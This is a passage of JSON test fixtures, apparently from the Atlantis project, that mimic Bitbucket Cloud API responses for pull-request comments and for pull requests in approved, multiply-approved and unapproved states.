   },\n    {\n      \"id\": 49893111,\n      \"created_on\": \"2024-05-07T12:22:05.981415+00:00\",\n      \"updated_on\": \"2024-05-07T12:22:05.981490+00:00\",\n      \"content\": {\n        \"type\": \"rendered\",\n        \"raw\": \"Ran Apply for 0 projects:\",\n        \"markup\": \"markdown\",\n        \"html\": \"<p>Ran Apply for 0 projects:</p>\"\n      },\n      \"user\": {\n        \"display_name\": \"bb bot\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/users/%7B600000000-0000-0000-0000-000000000000%7D\"\n          },\n          \"avatar\": {\n            \"href\": \"https://secure.gravatar.com/avatar/d5c4bac76953df92f47d1dea43fcdba0?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FKB-4.png\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/%7B600000000-0000-0000-0000-000000000000%7D/\"\n          }\n        },\n        \"type\": \"user\",\n        \"uuid\": \"{600000000-0000-0000-0000-000000000000}\",\n        \"account_id\": \"00000000-0000-0000-0000-000000000000\",\n        \"nickname\": \"bb bot\"\n      },\n      \"deleted\": false,\n      \"pending\": false,\n      \"type\": \"pullrequest_comment\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5/comments/498931901\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/myworkspace/myrepo/pull-requests/5/_/diff#comment-498931901\"\n        }\n      },\n      \"pullrequest\": {\n        \"type\": \"pullrequest\",\n        \"id\": 5,\n        \"title\": \"for test\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/myworkspace/myrepo/pull-requests/5\"\n          }\n        }\n      }\n    }\n  ],\n  \"pagelen\": 10,\n  \"size\": 4,\n  \"page\": 1\n}\n"
  },
  {
    "path": "server/events/vcs/bitbucketcloud/testdata/pull-approved-by-author.json",
    "content": "{\n  \"rendered\": {\n    \"description\": {\n      \"raw\": \"main.tf edited online with Bitbucket\",\n      \"markup\": \"markdown\",\n      \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n      \"type\": \"rendered\"\n    },\n    \"title\": {\n      \"raw\": \"main.tf edited online with Bitbucket\",\n      \"markup\": \"markdown\",\n      \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n      \"type\": \"rendered\"\n    }\n  },\n  \"type\": \"pullrequest\",\n  \"description\": \"main.tf edited online with Bitbucket\",\n  \"links\": {\n    \"decline\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/decline\"\n    },\n    \"commits\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/commits\"\n    },\n    \"self\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12\"\n    },\n    \"comments\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/comments\"\n    },\n    \"merge\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/merge\"\n    },\n    \"html\": {\n      \"href\": \"https://bitbucket.org/lkysow/atlantis-example/pull-requests/12\"\n    },\n    \"activity\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/activity\"\n    },\n    \"diff\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/diff\"\n    },\n    \"approve\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/approve\"\n    },\n    \"statuses\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/statuses\"\n    }\n  },\n  \"title\": \"main.tf edited online with Bitbucket\",\n  \"close_source_branch\": true,\n  \"reviewers\": [],\n  \"id\": 12,\n  \"destination\": {\n    \"commit\": {\n      \"hash\": \"c641f2c615ad\",\n      \"type\": \"commit\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/c641f2c615ad\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/atlantis-example/commits/c641f2c615ad\"\n        }\n      }\n    },\n    \"repository\": {\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n        },\n        \"avatar\": {\n          \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n        }\n      },\n      \"type\": \"repository\",\n      \"name\": \"atlantis-example\",\n      \"full_name\": \"lkysow/atlantis-example\",\n      \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n    },\n    \"branch\": {\n      \"name\": \"main\"\n    }\n  },\n  \"created_on\": \"2019-02-12T16:48:04.251028+00:00\",\n  \"summary\": {\n    \"raw\": \"main.tf edited online with Bitbucket\",\n    \"markup\": \"markdown\",\n    \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n    \"type\": \"rendered\"\n  },\n  \"source\": {\n    \"commit\": {\n      \"hash\": \"75d1e7c57cd9\",\n      \"type\": \"commit\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/75d1e7c57cd9\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/atlantis-example/commits/75d1e7c57cd9\"\n        }\n      }\n    },\n    \"repository\": {\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n        },\n        \"avatar\": {\n          \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n        }\n      },\n      \"type\": \"repository\",\n      \"name\": \"atlantis-example\",\n      \"full_name\": \"lkysow/atlantis-example\",\n      \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n    },\n    \"branch\": {\n      \"name\": \"lkysow/maintf-edited-online-with-bitbucket-1549990080103\"\n    }\n  },\n  \"comment_count\": 23,\n  \"state\": \"OPEN\",\n  \"task_count\": 0,\n  \"participants\": [\n    {\n      \"role\": \"PARTICIPANT\",\n      \"participated_on\": \"2019-06-03T13:55:54.065877+00:00\",\n      \"type\": \"participant\",\n      \"approved\": true,\n      \"user\": {\n        \"display_name\": \"Luke\",\n        \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n          },\n          \"avatar\": {\n            \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n          }\n        },\n        \"nickname\": \"Luke\",\n        \"type\": \"user\",\n        \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\"\n      }\n    },\n    {\n      \"role\": \"PARTICIPANT\",\n      \"participated_on\": \"2019-06-03T13:51:47.350675+00:00\",\n      \"type\": \"participant\",\n      \"approved\": false,\n      \"user\": {\n        \"display_name\": \"Atlantisbot\",\n        \"uuid\": \"{73686412-4495-426f-89a7-c69ff1c8d7b8}\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/users/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D/\"\n          },\n          \"avatar\": {\n            \"href\": \"https://avatar-cdn.atlassian.com/5b5097035488b9140c078f7f?by=id&sg=vyisLdHfYH10sFOuFCvPgHKn6ds%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FA-1.png\"\n          }\n        },\n        \"nickname\": \"Atlantisbot\",\n        \"type\": \"user\",\n        \"account_id\": \"5b5097035488b9140c078f7f\"\n      }\n    }\n  ],\n  \"reason\": \"\",\n  \"updated_on\": \"2019-06-03T13:55:54.081581+00:00\",\n  \"author\": {\n    \"display_name\": \"Luke\",\n    \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\",\n    \"links\": {\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n      },\n      \"avatar\": {\n        \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n      }\n    },\n    \"nickname\": \"Luke\",\n    \"type\": \"user\",\n    \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\"\n  },\n  \"merge_commit\": null,\n  \"closed_by\": null\n}\n"
  },
  {
    "path": "server/events/vcs/bitbucketcloud/testdata/pull-approved-multiple.json",
    "content": "{\n  \"rendered\": {\n    \"description\": {\n      \"raw\": \"main.tf edited online with Bitbucket\",\n      \"markup\": \"markdown\",\n      \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n      \"type\": \"rendered\"\n    },\n    \"title\": {\n      \"raw\": \"main.tf edited online with Bitbucket\",\n      \"markup\": \"markdown\",\n      \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n      \"type\": \"rendered\"\n    }\n  },\n  \"type\": \"pullrequest\",\n  \"description\": \"main.tf edited online with Bitbucket\",\n  \"links\": {\n    \"decline\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/decline\"\n    },\n    \"commits\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/commits\"\n    },\n    \"self\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12\"\n    },\n    \"comments\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/comments\"\n    },\n    \"merge\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/merge\"\n    },\n    \"html\": {\n      \"href\": \"https://bitbucket.org/lkysow/atlantis-example/pull-requests/12\"\n    },\n    \"activity\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/activity\"\n    },\n    \"diff\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/diff\"\n    },\n    \"approve\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/approve\"\n    },\n    \"statuses\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/statuses\"\n    }\n  },\n  \"title\": \"main.tf edited online with Bitbucket\",\n  \"close_source_branch\": true,\n  \"reviewers\": [],\n  \"id\": 12,\n  \"destination\": {\n    \"commit\": {\n      \"hash\": \"c641f2c615ad\",\n      \"type\": \"commit\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/c641f2c615ad\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/atlantis-example/commits/c641f2c615ad\"\n        }\n      }\n    },\n    \"repository\": {\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n        },\n        \"avatar\": {\n          \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n        }\n      },\n      \"type\": \"repository\",\n      \"name\": \"atlantis-example\",\n      \"full_name\": \"lkysow/atlantis-example\",\n      \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n    },\n    \"branch\": {\n      \"name\": \"main\"\n    }\n  },\n  \"created_on\": \"2019-02-12T16:48:04.251028+00:00\",\n  \"summary\": {\n    \"raw\": \"main.tf edited online with Bitbucket\",\n    \"markup\": \"markdown\",\n    \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n    \"type\": \"rendered\"\n  },\n  \"source\": {\n    \"commit\": {\n      \"hash\": \"75d1e7c57cd9\",\n      \"type\": \"commit\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/75d1e7c57cd9\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/atlantis-example/commits/75d1e7c57cd9\"\n        }\n      }\n    },\n    \"repository\": {\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n        },\n        \"avatar\": {\n          \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n        }\n      },\n      \"type\": \"repository\",\n      \"name\": \"atlantis-example\",\n      \"full_name\": \"lkysow/atlantis-example\",\n      \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n    },\n    \"branch\": {\n      \"name\": \"lkysow/maintf-edited-online-with-bitbucket-1549990080103\"\n    }\n  },\n  \"comment_count\": 23,\n  \"state\": \"OPEN\",\n  \"task_count\": 0,\n  \"participants\": [\n    {\n      \"role\": \"PARTICIPANT\",\n      \"participated_on\": \"2019-06-03T13:51:44.122406+00:00\",\n      \"type\": \"participant\",\n      \"approved\": false,\n      \"user\": {\n        \"display_name\": \"Luke\",\n        \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n          },\n          \"avatar\": {\n            \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n          }\n        },\n        \"nickname\": \"Luke\",\n        \"type\": \"user\",\n        \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\"\n      }\n    },\n    {\n      \"role\": \"PARTICIPANT\",\n      \"participated_on\": \"2019-06-03T13:55:17.622018+00:00\",\n      \"type\": \"participant\",\n      \"approved\": true,\n      \"user\": {\n        \"display_name\": \"Atlantisbot\",\n        \"uuid\": \"{73686412-4495-426f-89a7-c69ff1c8d7b8}\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/users/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D/\"\n          },\n          \"avatar\": {\n            \"href\": \"https://avatar-cdn.atlassian.com/5b5097035488b9140c078f7f?by=id&sg=vyisLdHfYH10sFOuFCvPgHKn6ds%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FA-1.png\"\n          }\n        },\n        \"nickname\": \"Atlantisbot\",\n        \"type\": \"user\",\n        \"account_id\": \"5b5097035488b9140c078f7f\"\n      }\n    },\n    {\n      \"role\": \"PARTICIPANT\",\n      \"participated_on\": \"2019-06-03T13:55:17.622018+00:00\",\n      \"type\": \"participant\",\n      \"approved\": true,\n      \"user\": {\n        \"display_name\": \"Atlantisbot2\",\n        \"uuid\": \"{73686412-4495-426f-89a7-c69ff1c8d7b2}\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/users/%7B73686412-4495-426f-89a7-c69ff1c8d7b2%7D\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/%7B73686412-4495-426f-89a7-c69ff1c8d7b2%7D/\"\n          },\n          \"avatar\": {\n            \"href\": \"https://avatar-cdn.atlassian.com/5b5097035488b9140c078f7f?by=id&sg=vyisLdHfYH10sFOuFCvPgHKn6ds%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FA-1.png\"\n          }\n        },\n        \"nickname\": \"Atlantisbot2\",\n        \"type\": \"user\",\n        \"account_id\": \"5b5097035488b9140c078f72\"\n      }\n    }\n  ],\n  \"reason\": \"\",\n  \"updated_on\": \"2019-06-03T13:55:17.639190+00:00\",\n  \"author\": {\n    \"display_name\": \"Luke\",\n    \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\",\n    \"links\": {\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n      },\n      \"avatar\": {\n        \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n      }\n    },\n    \"nickname\": \"Luke\",\n    \"type\": \"user\",\n    \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\"\n  },\n  \"merge_commit\": null,\n  \"closed_by\": null\n}\n"
  },
  {
    "path": "server/events/vcs/bitbucketcloud/testdata/pull-approved.json",
    "content": "{\n  \"rendered\": {\n    \"description\": {\n      \"raw\": \"main.tf edited online with Bitbucket\",\n      \"markup\": \"markdown\",\n      \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n      \"type\": \"rendered\"\n    },\n    \"title\": {\n      \"raw\": \"main.tf edited online with Bitbucket\",\n      \"markup\": \"markdown\",\n      \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n      \"type\": \"rendered\"\n    }\n  },\n  \"type\": \"pullrequest\",\n  \"description\": \"main.tf edited online with Bitbucket\",\n  \"links\": {\n    \"decline\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/decline\"\n    },\n    \"commits\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/commits\"\n    },\n    \"self\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12\"\n    },\n    \"comments\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/comments\"\n    },\n    \"merge\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/merge\"\n    },\n    \"html\": {\n      \"href\": \"https://bitbucket.org/lkysow/atlantis-example/pull-requests/12\"\n    },\n    \"activity\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/activity\"\n    },\n    \"diff\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/diff\"\n    },\n    \"approve\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/approve\"\n    },\n    \"statuses\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/statuses\"\n    }\n  },\n  \"title\": \"main.tf edited online with Bitbucket\",\n  \"close_source_branch\": true,\n  \"reviewers\": [],\n  \"id\": 12,\n  \"destination\": {\n    \"commit\": {\n      \"hash\": \"c641f2c615ad\",\n      \"type\": \"commit\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/c641f2c615ad\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/atlantis-example/commits/c641f2c615ad\"\n        }\n      }\n    },\n    \"repository\": {\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n        },\n        \"avatar\": {\n          \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n        }\n      },\n      \"type\": \"repository\",\n      \"name\": \"atlantis-example\",\n      \"full_name\": \"lkysow/atlantis-example\",\n      \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n    },\n    \"branch\": {\n      \"name\": \"main\"\n    }\n  },\n  \"created_on\": \"2019-02-12T16:48:04.251028+00:00\",\n  \"summary\": {\n    \"raw\": \"main.tf edited online with Bitbucket\",\n    \"markup\": \"markdown\",\n    \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n    \"type\": \"rendered\"\n  },\n  \"source\": {\n    \"commit\": {\n      \"hash\": \"75d1e7c57cd9\",\n      \"type\": \"commit\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/75d1e7c57cd9\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/atlantis-example/commits/75d1e7c57cd9\"\n        }\n      }\n    },\n    \"repository\": {\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n        },\n        \"avatar\": {\n          \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n        }\n      },\n      \"type\": \"repository\",\n      \"name\": \"atlantis-example\",\n      \"full_name\": \"lkysow/atlantis-example\",\n      \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n    },\n    \"branch\": {\n      \"name\": \"lkysow/maintf-edited-online-with-bitbucket-1549990080103\"\n    }\n  },\n  \"comment_count\": 23,\n  \"state\": \"OPEN\",\n  \"task_count\": 0,\n  \"participants\": [\n    {\n      \"role\": \"PARTICIPANT\",\n      \"participated_on\": \"2019-06-03T13:51:44.122406+00:00\",\n      \"type\": \"participant\",\n      \"approved\": false,\n      \"user\": {\n        \"display_name\": \"Luke\",\n        \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n          },\n          \"avatar\": {\n            \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n          }\n        },\n        \"nickname\": \"Luke\",\n        \"type\": \"user\",\n        \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\"\n      }\n    },\n    {\n      \"role\": \"PARTICIPANT\",\n      \"participated_on\": \"2019-06-03T13:55:17.622018+00:00\",\n      \"type\": \"participant\",\n      \"approved\": true,\n      \"user\": {\n        \"display_name\": \"Atlantisbot\",\n        \"uuid\": \"{73686412-4495-426f-89a7-c69ff1c8d7b8}\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/users/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D/\"\n          },\n          \"avatar\": {\n            \"href\": \"https://avatar-cdn.atlassian.com/5b5097035488b9140c078f7f?by=id&sg=vyisLdHfYH10sFOuFCvPgHKn6ds%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FA-1.png\"\n          }\n        },\n        \"nickname\": \"Atlantisbot\",\n        \"type\": \"user\",\n        \"account_id\": \"5b5097035488b9140c078f7f\"\n      }\n    }\n  ],\n  \"reason\": \"\",\n  \"updated_on\": \"2019-06-03T13:55:17.639190+00:00\",\n  \"author\": {\n    \"display_name\": \"Luke\",\n    \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\",\n    \"links\": {\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n      },\n      \"avatar\": {\n        \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n      }\n    },\n    \"nickname\": \"Luke\",\n    \"type\": \"user\",\n    \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\"\n  },\n  \"merge_commit\": null,\n  \"closed_by\": null\n}\n"
  },
  {
    "path": "server/events/vcs/bitbucketcloud/testdata/pull-unapproved.json",
    "content": "{\n  \"rendered\": {\n    \"description\": {\n      \"raw\": \"main.tf edited online with Bitbucket\",\n      \"markup\": \"markdown\",\n      \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n      \"type\": \"rendered\"\n    },\n    \"title\": {\n      \"raw\": \"main.tf edited online with Bitbucket\",\n      \"markup\": \"markdown\",\n      \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n      \"type\": \"rendered\"\n    }\n  },\n  \"type\": \"pullrequest\",\n  \"description\": \"main.tf edited online with Bitbucket\",\n  \"links\": {\n    \"decline\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/decline\"\n    },\n    \"commits\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/commits\"\n    },\n    \"self\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12\"\n    },\n    \"comments\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/comments\"\n    },\n    \"merge\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/merge\"\n    },\n    \"html\": {\n      \"href\": \"https://bitbucket.org/lkysow/atlantis-example/pull-requests/12\"\n    },\n    \"activity\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/activity\"\n    },\n    \"diff\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/diff\"\n    },\n    \"approve\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/approve\"\n    },\n    \"statuses\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/statuses\"\n    }\n  },\n  \"title\": \"main.tf edited online with Bitbucket\",\n  \"close_source_branch\": true,\n  \"reviewers\": [],\n  \"id\": 12,\n  \"destination\": {\n    \"commit\": {\n      \"hash\": \"c641f2c615ad\",\n      \"type\": \"commit\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/c641f2c615ad\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/atlantis-example/commits/c641f2c615ad\"\n        }\n      }\n    },\n    \"repository\": {\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n        },\n        \"avatar\": {\n          \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n        }\n      },\n      \"type\": \"repository\",\n      \"name\": \"atlantis-example\",\n      \"full_name\": \"lkysow/atlantis-example\",\n      \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n    },\n    \"branch\": {\n      \"name\": \"main\"\n    